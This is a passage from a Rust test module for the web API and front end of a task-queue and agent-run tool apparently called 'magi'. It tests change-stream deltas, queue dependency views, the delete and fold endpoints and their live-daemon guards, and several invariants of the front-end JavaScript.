13868        assert_eq!(doc.status, 200, "{}", doc.body);
13869        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13870
13871        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13872        assert_eq!(sibling.status, 200, "{}", sibling.body);
13873        assert_eq!(sibling.header("content-type"), Some("image/png"));
13874        assert_eq!(
13875            sibling.header("content-security-policy"),
13876            Some(PANEL_CSP),
13877            "the sibling route must carry the same policy as the asset route"
13878        );
13879
13880        // The original spelling keeps working: HEAD on it is how the front end
13881        // decides whether to mount a frame at all.
13882        assert_eq!(
13883            fx.head(&format!("/api/questions/{id}/panel")).await.status,
13884            200
13885        );
13886    }
13887
13888    #[test]
13889    fn delta_stamps_cover_add_update_remove_and_noop() {
13890        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13891        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13892        let delta = diff_stamps(&before, &after, 42);
13893        assert_eq!(delta.base, 42);
13894        assert_eq!(delta.changed, ["b", "c"]);
13895        assert_eq!(delta.removed, ["a"]);
13896        let same = diff_stamps(&after, &after, 43);
13897        assert!(same.changed.is_empty() && same.removed.is_empty());
13898        assert_ne!(stamps_revision(&before), stamps_revision(&after));
13899        let nanos: Stamps = [("b".into(), (2, 20))].into();
13900        let same_ms: Stamps = [("b".into(), (3, 20))].into();
13901        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13902        assert_eq!(stamps_revision(&Stamps::new()), 0);
13903    }
13904
13905    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13906        std::fs::create_dir_all(home.join("runs")).unwrap();
13907        Arc::new(Ui::new(
13908            Queue::at(home.join("queue")),
13909            Questions::at(home.join("questions")),
13910            Talks::at(home.join("talks")),
13911            home.join("runs"),
13912            home.to_owned(),
13913            PathBuf::from("/repo/magi"),
13914        ))
13915    }
13916
13917    #[tokio::test]
13918    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13919        let home = TempDir::new().unwrap();
13920        let ui = delta_test_ui(home.path());
13921        let mut task = Task::new(
13922            "stream task".into(),
13923            "text".into(),
13924            PathBuf::from("/repo"),
13925            Source::Human,
13926        );
13927        ui.queue.put(&mut task).unwrap();
13928        let response = events(State(ui.clone())).await.into_response();
13929        let mut stream = response.into_body().into_data_stream();
13930        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13931            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13932                .await
13933                .unwrap()
13934                .unwrap()
13935                .unwrap();
13936            let text = String::from_utf8(chunk.to_vec()).unwrap();
13937            let data = text
13938                .lines()
13939                .find_map(|line| {
13940                    line.strip_prefix("data: ")
13941                        .or_else(|| line.strip_prefix("data:"))
13942                })
13943                .unwrap();
13944            serde_json::from_str(data).unwrap()
13945        }
13946        let initial = change(&mut stream).await;
13947        assert!(initial.get("queue_delta").is_none());
13948        task.instruction.push_str(" changed");
13949        ui.queue.put(&mut task).unwrap();
13950        let updated = change(&mut stream).await;
13951        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13952        assert_eq!(
13953            updated["queue_delta"]["changed"],
13954            serde_json::json!([task.id])
13955        );
13956        assert_eq!(
13957            updated["queue_rev"].as_u64(),
13958            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13959        );
13960        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13961        let removed = change(&mut stream).await;
13962        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13963        assert_eq!(
13964            removed["queue_delta"]["removed"],
13965            serde_json::json!([task.id])
13966        );
13967    }
13968
13969    #[tokio::test]
13970    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13971        let home = TempDir::new().unwrap();
13972        let ui = delta_test_ui(home.path());
13973        let queue = ui.queue.clone();
13974        let query = |ids: Option<&str>| {
13975            Query(ListQuery {
13976                limit: Some(2),
13977                ids: ids.map(str::to_owned),
13978            })
13979        };
13980        let mut root = Task::new(
13981            "root".into(),
13982            "instruction".into(),
13983            PathBuf::from("/repo"),
13984            Source::Human,
13985        );
13986        queue.put(&mut root).unwrap();
13987        let mut blocked = Task::new(
13988            "blocked".into(),
13989            "instruction".into(),
13990            PathBuf::from("/repo"),
13991            Source::Human,
13992        );
13993        blocked.block(vec![root.id.clone()], None);
13994        queue.put(&mut blocked).unwrap();
13995        let whole =
13996            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13997                .unwrap();
13998        let subset = serde_json::to_value(
13999            queue_list(State(ui.clone()), query(Some(&root.id)))
14000                .await
14001                .unwrap()
14002                .0,
14003        )
14004        .unwrap();
14005        assert_eq!(whole, subset, "requested root plus its blocked dependent");
14006        let blockers = serde_json::to_value(
14007            queue_list(State(ui.clone()), query(Some("")))
14008                .await
14009                .unwrap()
14010                .0,
14011        )
14012        .unwrap();
14013        assert_eq!(blockers.as_array().unwrap().len(), 1);
14014        assert_eq!(blockers[0]["id"], blocked.id);
14015        assert_eq!(
14016            blockers[0]["waits_on"],
14017            whole
14018                .as_array()
14019                .unwrap()
14020                .iter()
14021                .find(|row| row["id"] == blocked.id)
14022                .unwrap()["waits_on"]
14023        );
14024
14025        for id in [
14026            "20260902-140501-aaaa",
14027            "20260902-140502-bbbb",
14028            "20260902-140503-cccc",
14029        ] {
14030            write_run(&ui.runs, id, RunStatus::Merged);
14031        }
14032        let old = serde_json::to_value(
14033            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
14034                .await
14035                .unwrap()
14036                .0,
14037        )
14038        .unwrap();
14039        assert!(
14040            old.as_array().unwrap().is_empty(),
14041            "older updates must not enter the window"
14042        );
14043        let newest = serde_json::to_value(
14044            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
14045                .await
14046                .unwrap()
14047                .0,
14048        )
14049        .unwrap();
14050        assert_eq!(newest.as_array().unwrap().len(), 1);
14051        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
14052
14053        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
14054        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
14055        let talks = serde_json::to_value(
14056            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
14057                .await
14058                .unwrap()
14059                .0,
14060        )
14061        .unwrap();
14062        assert_eq!(talks.as_array().unwrap().len(), 1);
14063        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
14064        assert_eq!(
14065            serde_json::to_value(
14066                talks_list(State(ui.clone()), query(Some("")))
14067                    .await
14068                    .unwrap()
14069                    .0
14070            )
14071            .unwrap(),
14072            serde_json::json!([])
14073        );
14074    }
14075
14076    #[tokio::test]
14077    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
14078    async fn delta_payload_benchmark() {
14079        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
14080        let ui = delta_test_ui(&home);
14081        let query = |ids: Option<String>| {
14082            Query(ListQuery {
14083                limit: Some(50),
14084                ids,
14085            })
14086        };
14087        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
14088        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
14089        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
14090        let queue_id = queue
14091            .iter()
14092            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
14093            .unwrap_or(&queue[0])
14094            .task
14095            .id
14096            .clone();
14097        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
14098            .await
14099            .unwrap()
14100            .0;
14101        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
14102            .await
14103            .unwrap()
14104            .0;
14105        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
14106            .await
14107            .unwrap()
14108            .0;
14109        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
14110        eprintln!(
14111            "DELTA_PAYLOAD {}",
14112            serde_json::json!({
14113                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
14114                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
14115                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
14116                "counts": [queue.len(), runs.len(), talks.len()],
14117                "blocked": queue_delta.len() - 1,
14118            })
14119        );
14120    }
14121
14122    #[test]
14123    fn runs_revision_moves_when_deleting_an_older_run() {
14124        let temp = TempDir::new().expect("tempdir");
14125        let runs = temp.path().join("runs");
14126        std::fs::create_dir_all(&runs).expect("create runs dir");
14127
14128        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
14129
14130        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
14131        std::thread::sleep(Duration::from_millis(10));
14132        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
14133
14134        let rev_before = runs_revision(&runs);
14135        assert!(rev_before > 0);
14136
14137        let old_dir = runs.join("20260901-100000-old1");
14138        std::fs::remove_dir_all(&old_dir).expect("remove old run");
14139
14140        let rev_after = runs_revision(&runs);
14141        assert_ne!(
14142            rev_before, rev_after,
14143            "deleting an older run must change the revision so other clients see the deletion"
14144        );
14145    }
14146
14147    /// A run's own `run.json` on an explicit `runs` root, bypassing the
14148    /// process-global home entirely — `RunState::save` writes through
14149    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
14150    /// (see `tests::home_lock` in the integration suite for why).
14151    fn write_state(runs: &FsPath, state: &RunState) {
14152        let dir = runs.join(&state.id);
14153        std::fs::create_dir_all(&dir).expect("run dir");
14154        std::fs::write(
14155            dir.join("run.json"),
14156            serde_json::to_string_pretty(state).expect("serialize run"),
14157        )
14158        .expect("write run.json");
14159    }
14160
14161    /// A seat starting or finishing is a write to `run.json` like any other,
14162    /// so it moves the same revision the change stream already watches —
14163    /// nothing new for `/api/events` to learn, but the property this feature
14164    /// depends on to reach the phone without a poll.
14165    #[test]
14166    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
14167        let temp = TempDir::new().expect("tempdir");
14168        let runs = temp.path().join("runs");
14169        std::fs::create_dir_all(&runs).expect("create runs dir");
14170        let mut state = RunState::new(
14171            PathBuf::from("/repo/magi"),
14172            "main".to_owned(),
14173            "0123456789abcdef".to_owned(),
14174            "task".to_owned(),
14175            Config::default(),
14176        );
14177        state.id = "20260902-100000-c0de".to_owned();
14178        write_state(&runs, &state);
14179
14180        let rev_idle = runs_revision(&runs);
14181        std::thread::sleep(Duration::from_millis(10));
14182        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
14183        write_state(&runs, &state);
14184        let rev_started = runs_revision(&runs);
14185        assert_ne!(
14186            rev_idle, rev_started,
14187            "a seat starting must move the revision"
14188        );
14189
14190        std::thread::sleep(Duration::from_millis(10));
14191        state.seat_finished("judge-1");
14192        write_state(&runs, &state);
14193        let rev_finished = runs_revision(&runs);
14194        assert_ne!(
14195            rev_started, rev_finished,
14196            "and clearing it again must move the revision a second time"
14197        );
14198    }
14199
14200    #[tokio::test]
14201    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
14202        // `TaskView` flattens `Task`, so this is really asserting that
14203        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
14204        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
14205        // never touched web.rs, so nothing here caught it if it had.
14206        let fx = Fixture::start().await;
14207        let q = fx.queue();
14208
14209        let mut t = Task::new(
14210            "Task".to_owned(),
14211            "Instruction".to_owned(),
14212            PathBuf::from("/repo"),
14213            Source::Human,
14214        );
14215        t.block(
14216            vec!["20260101-000000-dead".to_owned()],
14217            Some("waiting on Task 1".to_owned()),
14218        );
14219        t.answers.push(crate::queue::AnsweredQuestion {
14220            question: "Which backend?".to_owned(),
14221            answer: "SQLite".to_owned(),
14222        });
14223        q.put(&mut t).expect("put t");
14224
14225        let res = fx.get("/api/queue").await;
14226        assert_eq!(res.status, 200);
14227        let list = res.json();
14228        let view = list
14229            .as_array()
14230            .expect("array")
14231            .iter()
14232            .find(|v| v["id"] == t.id)
14233            .expect("task in list");
14234        assert_eq!(view["status_str"], "blocked");
14235        assert_eq!(
14236            view["blocked_by"],
14237            serde_json::json!(["20260101-000000-dead"])
14238        );
14239        assert_eq!(view["block_reason"], "waiting on Task 1");
14240        assert_eq!(view["answers"][0]["question"], "Which backend?");
14241        assert_eq!(view["answers"][0]["answer"], "SQLite");
14242
14243        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
14244        // but never `answers` - that is a settled decision, not state
14245        // describing the current block, so it survives.
14246        let res = fx
14247            .post(&format!("/api/queue/{}/hold", t.short()), None)
14248            .await;
14249        assert_eq!(res.status, 200);
14250        let held = res.json();
14251        assert_eq!(held["status_str"], "held");
14252        assert_eq!(held["blocked_by"], serde_json::json!([]));
14253        assert!(held["block_reason"].is_null());
14254        assert_eq!(held["answers"][0]["answer"], "SQLite");
14255    }
14256
14257    #[tokio::test]
14258    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
14259        let fx = Fixture::start().await;
14260        let q = fx.queue();
14261        let mk = |title: &str| {
14262            Task::new(
14263                title.to_owned(),
14264                "Instruction".to_owned(),
14265                PathBuf::from("/repo"),
14266                Source::Human,
14267            )
14268        };
14269        let mut root = mk("root");
14270        root.hold_manual(Some("waiting".to_owned()));
14271        q.put(&mut root).unwrap();
14272        let mut mid = mk("mid");
14273        mid.block(vec![root.id.clone()], None);
14274        q.put(&mut mid).unwrap();
14275        let mut leaf = mk("leaf");
14276        leaf.block(vec![mid.id.clone()], None);
14277        q.put(&mut leaf).unwrap();
14278
14279        let list = fx.get("/api/queue").await.json();
14280        let find = |id: &str| {
14281            list.as_array()
14282                .unwrap()
14283                .iter()
14284                .find(|v| v["id"] == id)
14285                .unwrap()
14286                .clone()
14287        };
14288        let leaf_view = find(&leaf.id);
14289        assert_eq!(
14290            leaf_view["waits_on"],
14291            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
14292        );
14293        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
14294        assert_eq!(
14295            find(&mid.id)["waits_on"],
14296            serde_json::json!([format!("{} (held)", root.short())])
14297        );
14298        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
14299    }
14300
14301    #[tokio::test]
14302    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
14303        let fx = Fixture::start().await;
14304        let q = fx.queue();
14305
14306        // 1. A queued task with runs attached can be deleted.
14307        let mut t1 = Task::new(
14308            "Task 1".to_owned(),
14309            "Instruction 1".to_owned(),
14310            PathBuf::from("/repo"),
14311            Source::Human,
14312        );
14313        let run_id = "20260901-000000-r111";
14314        t1.runs.push(run_id.to_owned());
14315        write_run(&fx.runs(), run_id, RunStatus::Merged);
14316        q.put(&mut t1).expect("put t1");
14317
14318        // Delete by short id
14319        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
14320        assert_eq!(res.status, 204);
14321        assert!(res.body.is_empty(), "204 No Content has no body");
14322        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
14323        assert!(
14324            fx.runs().join(run_id).exists(),
14325            "run directory must not be deleted when its task is deleted"
14326        );
14327
14328        // 2. A task a live daemon is running is refused with 409.
14329        let mut t2 = Task::new(
14330            "Task 2".to_owned(),
14331            "Instruction 2".to_owned(),
14332            PathBuf::from("/repo"),
14333            Source::Human,
14334        );
14335        t2.status = TaskStatus::Running;
14336        q.put(&mut t2).expect("put t2");
14337        let mut beat = crate::daemon::Status::new();
14338        beat.current = vec![crate::daemon::Current {
14339            task: t2.id.clone(),
14340            run: "20260901-000000-r222".to_owned(),
14341        }];
14342        beat.updated_at = jiff::Timestamp::now();
14343        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14344            .expect("publish a heartbeat");
14345        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
14346        assert_eq!(res.status, 409);
14347        assert!(
14348            res.json()["error"]
14349                .as_str()
14350                .unwrap()
14351                .contains("live daemon")
14352        );
14353        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
14354
14355        // 3. The same `running` status and an orphaned lock, with no daemon
14356        // behind either, is a leftover and deletable. Before this the phone
14357        // refused it for good: the status never changes on its own and
14358        // nothing drops a lock whose process is gone.
14359        // The daemon is killed: the file stays, the heartbeat stops.
14360        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
14361        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14362            .expect("leave a stale heartbeat");
14363        let mut t3 = Task::new(
14364            "Task 3".to_owned(),
14365            "Instruction 3".to_owned(),
14366            PathBuf::from("/repo"),
14367            Source::Human,
14368        );
14369        t3.status = TaskStatus::Running;
14370        q.put(&mut t3).expect("put t3");
14371        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
14372        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
14373        assert_eq!(res.status, 204);
14374        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
14375        assert!(
14376            q.claim(&t3.id).is_ok(),
14377            "the stale lock went with it, so the id is claimable again"
14378        );
14379
14380        // 4. Missing id returns 404
14381        let res = fx.delete("/api/queue/nonexistent").await;
14382        assert_eq!(res.status, 404);
14383    }
14384
14385    #[tokio::test]
14386    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
14387        let fx = Fixture::start().await;
14388        let runs = fx.runs();
14389
14390        // 1. Finished and folded run can be deleted along with artifacts
14391        let run_id = "20260901-000000-fold";
14392        let mut state = RunState::new(
14393            PathBuf::from("/repo"),
14394            "main".to_owned(),
14395            "abc".to_owned(),
14396            "instruction".to_owned(),
14397            Config::default(),
14398        );
14399        state.id = run_id.to_owned();
14400        state.status = RunStatus::Merged;
14401        state.candidates.push(crate::run::Candidate {
14402            index: 0,
14403            label: 'A',
14404            agent: "a".to_owned(),
14405            branch: "b".to_owned(),
14406            worktree: PathBuf::from("/w"),
14407            summary: String::new(),
14408            stat: String::new(),
14409            files: 1,
14410            commits: 1,
14411            empty: false,
14412            failed: None,
14413            verified_noop: None,
14414            duration_ms: 0,
14415            folded: true,
14416        });
14417        let dir = runs.join(run_id);
14418        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
14419        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
14420            .expect("write artifact");
14421        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14422            .expect("write run.json");
14423
14424        // Delete by short id
14425        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14426        assert_eq!(res.status, 204);
14427        assert!(res.body.is_empty(), "204 has no body");
14428        assert!(!dir.exists(), "run directory and artifacts must be deleted");
14429
14430        // 2. A run a live daemon is working on is refused with 409. The
14431        // heartbeat is what makes it refusable: an unfinished run with no
14432        // daemon behind it is a leftover from a killed process, and case 1
14433        // above would otherwise be impossible to tell apart from this one.
14434        let run_running = "20260901-000000-rung";
14435        write_run(&runs, run_running, RunStatus::Prep);
14436        let mut beat = crate::daemon::Status::new();
14437        beat.current = vec![crate::daemon::Current {
14438            task: "20260901-000000-task".to_owned(),
14439            run: run_running.to_owned(),
14440        }];
14441        beat.updated_at = jiff::Timestamp::now();
14442        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14443            .expect("publish a heartbeat");
14444        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14445        assert_eq!(res.status, 409);
14446        assert!(
14447            res.json()["error"]
14448                .as_str()
14449                .unwrap()
14450                .contains("live daemon"),
14451            "the refusal must say who is holding it"
14452        );
14453        assert!(
14454            runs.join(run_running).exists(),
14455            "a run in flight keeps its directory"
14456        );
14457
14458        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
14459        let run_unfolded = "20260901-000000-unfd";
14460        let mut state2 = RunState::new(
14461            PathBuf::from("/repo"),
14462            "main".to_owned(),
14463            "abc".to_owned(),
14464            "instruction".to_owned(),
14465            Config::default(),
14466        );
14467        state2.id = run_unfolded.to_owned();
14468        state2.status = RunStatus::Ready;
14469        state2.candidates.push(crate::run::Candidate {
14470            index: 0,
14471            label: 'A',
14472            agent: "a".to_owned(),
14473            branch: "b".to_owned(),
14474            worktree: PathBuf::from("/w"),
14475            summary: String::new(),
14476            stat: String::new(),
14477            files: 1,
14478            commits: 1,
14479            empty: false,
14480            failed: None,
14481            verified_noop: None,
14482            duration_ms: 0,
14483            folded: false,
14484        });
14485        let dir2 = runs.join(run_unfolded);
14486        std::fs::create_dir_all(&dir2).expect("create dir2");
14487        std::fs::write(
14488            dir2.join("run.json"),
14489            serde_json::to_string(&state2).unwrap(),
14490        )
14491        .expect("write run.json");
14492
14493        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14494        assert_eq!(res.status, 409);
14495        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14496        assert!(dir2.exists(), "unfolded run directory is kept");
14497
14498        // 4. Missing id returns 404
14499        let res = fx.delete("/api/runs/nonexistent").await;
14500        assert_eq!(res.status, 404);
14501    }
14502
14503    /// The queue tiles on the Stats tab must render even on a home with no
14504    /// runs at all: queue state is not derived from run history, so hiding
14505    /// the whole dashboard body behind "no runs yet" would drop the one
14506    /// thing this tab promises unconditionally (queued/running/held/done).
14507    /// A DOM-level test would need a browser this suite does not have, so
14508    /// this pins the same invariant textually: `renderStatsQueue` is called
14509    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
14510    /// block that gates the run-derived panels.
14511    #[test]
14512    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14513        let start = APP_JS
14514            .find("function renderStats() {")
14515            .expect("renderStats");
14516        let end = start
14517            + APP_JS[start..]
14518                .find("function statsTile(")
14519                .expect("the next top-level function");
14520        let body = &APP_JS[start..end];
14521
14522        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14523        let gate_end = gate_start
14524            + body[gate_start..]
14525                .find("}\n  renderStatsQueue")
14526                .expect("the gate's own closing brace, right before the unconditional call");
14527        let gated = &body[gate_start..gate_end];
14528
14529        assert_eq!(
14530            body.matches("renderStatsQueue(").count(),
14531            1,
14532            "renderStats must call renderStatsQueue exactly once: {body}"
14533        );
14534        assert!(
14535            !gated.contains("renderStatsQueue"),
14536            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14537             run-derived panels on an empty run history - the queue panel has to render \
14538             regardless: {gated}"
14539        );
14540    }
14541
14542    #[test]
14543    fn web_ui_delete_contract_in_front_end() {
14544        // 1. API block has both delete endpoints
14545        assert!(APP_JS.contains("deleteRun:"));
14546        assert!(APP_JS.contains("deleteTask:"));
14547
14548        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
14549        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14550            ..APP_JS.find("function renderRuns").unwrap()];
14551        assert!(!run_cards_slice.to_lowercase().contains("delete"));
14552
14553        // 3. Run detail has delete entry and reasons
14554        assert!(APP_JS.contains("renderRunDelete"));
14555        assert!(APP_JS.contains("runDeleteReason"));
14556        assert!(APP_JS.contains("magi fold"));
14557        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
14558
14559        // 4. Two-step delete arming and focus on Cancel
14560        assert!(APP_JS.contains("cancel.focus"));
14561        assert!(APP_JS.contains("armedRunDelete"));
14562        assert!(APP_JS.contains("renderTaskDeleteBox"));
14563        assert!(APP_JS.contains("armed${cap(key)}"));
14564
14565        // 5. Running task has disabled delete
14566        assert!(APP_JS.contains("disabled: status === \"running\""));
14567    }
14568
14569    /// Every element a run card's updater reaches for must be in the `refs`
14570    /// the builder handed it.
14571    ///
14572    /// `createRunCard` builds its elements, appends them to the card, and then
14573    /// lists them again in `row.refs`. That second list is the one the updater
14574    /// uses, and nothing connects the two - an element can be built, appended
14575    /// and rendered, and still be missing from `refs`. `superseded` was, for
14576    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
14577    /// exception took `syncList` with it, and the deck showed
14578    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
14579    /// line is computed before the cards, which is why the failure looked like
14580    /// a server that had lost its runs rather than a front end that had
14581    /// stopped rendering them.
14582    ///
14583    /// A `cargo test` cannot execute the front end, so this reads the two
14584    /// halves out of the source and compares them as sets. It is not a check
14585    /// on the wording of either list: adding an element, renaming one, or
14586    /// reordering them all keeps this passing, and only using one the builder
14587    /// never published fails it.
14588    #[test]
14589    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
14590        let build = APP_JS
14591            .find("function createRunCard")
14592            .expect("createRunCard exists");
14593        let update = APP_JS
14594            .find("function updateRunCard")
14595            .expect("updateRunCard exists");
14596        let end = APP_JS
14597            .find("function renderRuns")
14598            .expect("renderRuns exists");
14599
14600        // The builder's published set: the object literal assigned to `refs`.
14601        let builder = &APP_JS[build..update];
14602        let open = builder.find("refs = {").expect("createRunCard sets refs");
14603        let literal = &builder[open + "refs = {".len()..];
14604        let close = literal.find('}').expect("the refs literal is closed");
14605        let published: HashSet<&str> = literal[..close]
14606            .split(',')
14607            // `name` and `name: value` both bind `name`.
14608            .filter_map(|entry| entry.split(':').next())
14609            .map(str::trim)
14610            .filter(|name| !name.is_empty())
14611            .collect();
14612        assert!(
14613            published.len() > 5,
14614            "the refs literal did not parse into names: {published:?}"
14615        );
14616
14617        // What the updaters reach for: every `r.<name>`, where `r` is the
14618        // `const r = row.refs` alias both functions open with.
14619        let mut used: Vec<&str> = Vec::new();
14620        let updaters = &APP_JS[update..end];
14621        for (at, _) in updaters.match_indices("r.") {
14622            // `r` must be the whole identifier, not the tail of another one
14623            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
14624            let before = updaters[..at].chars().next_back();
14625            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
14626                continue;
14627            }
14628            let rest = &updaters[at + 2..];
14629            let len = rest
14630                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14631                .unwrap_or(rest.len());
14632            if len > 0 {
14633                used.push(&rest[..len]);
14634            }
14635        }
14636        assert!(
14637            used.len() > 5,
14638            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14639        );
14640
14641        let missing: Vec<&str> = used
14642            .iter()
14643            .copied()
14644            .filter(|name| !published.contains(name))
14645            .collect();
14646        assert!(
14647            missing.is_empty(),
14648            "a run card's updater reaches for {missing:?}, which `createRunCard` \
14649             never put in `refs` - every card will throw and the list will \
14650             render empty under a count line that says otherwise. Published: \
14651             {published:?}"
14652        );
14653    }
14654
14655    #[tokio::test]
14656    async fn folding_from_the_phone_reports_what_it_removed() {
14657        let fx = Fixture::start().await;
14658        let runs = fx.runs();
14659
14660        // A run with no candidates has nothing to fold, which is a 200 with an
14661        // honest count rather than an error: the operator asked for the trees
14662        // to be gone and they are.
14663        let id = "20260901-000000-fold";
14664        write_run(&runs, id, RunStatus::Stalled);
14665        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14666        assert_eq!(res.status, 200);
14667        assert_eq!(res.json()["removed_count"], 0);
14668        assert_eq!(res.json()["run"], id);
14669        assert!(
14670            runs.join(id).exists(),
14671            "a fold keeps the run's record; only the worktrees go"
14672        );
14673    }
14674
14675    #[tokio::test]
14676    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14677        let fx = Fixture::start().await;
14678        let runs = fx.runs();
14679        let wt = fx.home.path().join("wt").join("magi").join("dead");
14680        let id = "20260901-000000-dead";
14681        std::fs::create_dir_all(runs.join(id)).expect("run dir");
14682        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14683        std::fs::create_dir_all(&wt).expect("worktree dir");
14684
14685        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14686        assert_eq!(res.status, 200, "{}", res.body);
14687        assert!(
14688            res.json()["removed_count"].as_u64().unwrap() > 0,
14689            "the worktree this build could not read a state for still went"
14690        );
14691        assert!(
14692            !runs.join(id).exists(),
14693            "an unreadable run has no candidate list to fold selectively, so \
14694             the whole record goes - same as `magi fold` on the CLI"
14695        );
14696    }
14697
14698    #[tokio::test]
14699    async fn deleting_an_unreadable_run_removes_it_wholesale() {
14700        let fx = Fixture::start().await;
14701        let runs = fx.runs();
14702        let wt = fx.home.path().join("wt").join("magi").join("gone");
14703        let id = "20260901-000000-gone";
14704        std::fs::create_dir_all(runs.join(id)).expect("run dir");
14705        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
14706        std::fs::create_dir_all(&wt).expect("worktree dir");
14707
14708        let res = fx.delete(&format!("/api/runs/{id}")).await;
14709        assert_eq!(res.status, 204, "{}", res.body);
14710        assert!(!runs.join(id).exists(), "the broken record is gone");
14711        assert!(!wt.exists(), "its worktree is gone too");
14712    }
14713
14714    #[tokio::test]
14715    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
14716        let fx = Fixture::start().await;
14717        let runs = fx.runs();
14718        let id = "20260901-000000-live";
14719        write_run(&runs, id, RunStatus::Implementing);
14720
14721        let mut beat = crate::daemon::Status::new();
14722        beat.current = vec![crate::daemon::Current {
14723            task: "20260901-000000-task".to_owned(),
14724            run: id.to_owned(),
14725        }];
14726        beat.updated_at = jiff::Timestamp::now();
14727        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14728            .expect("publish a heartbeat");
14729
14730        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14731        assert_eq!(res.status, 409);
14732        assert!(
14733            res.json()["error"]
14734                .as_str()
14735                .unwrap()
14736                .contains("live daemon"),
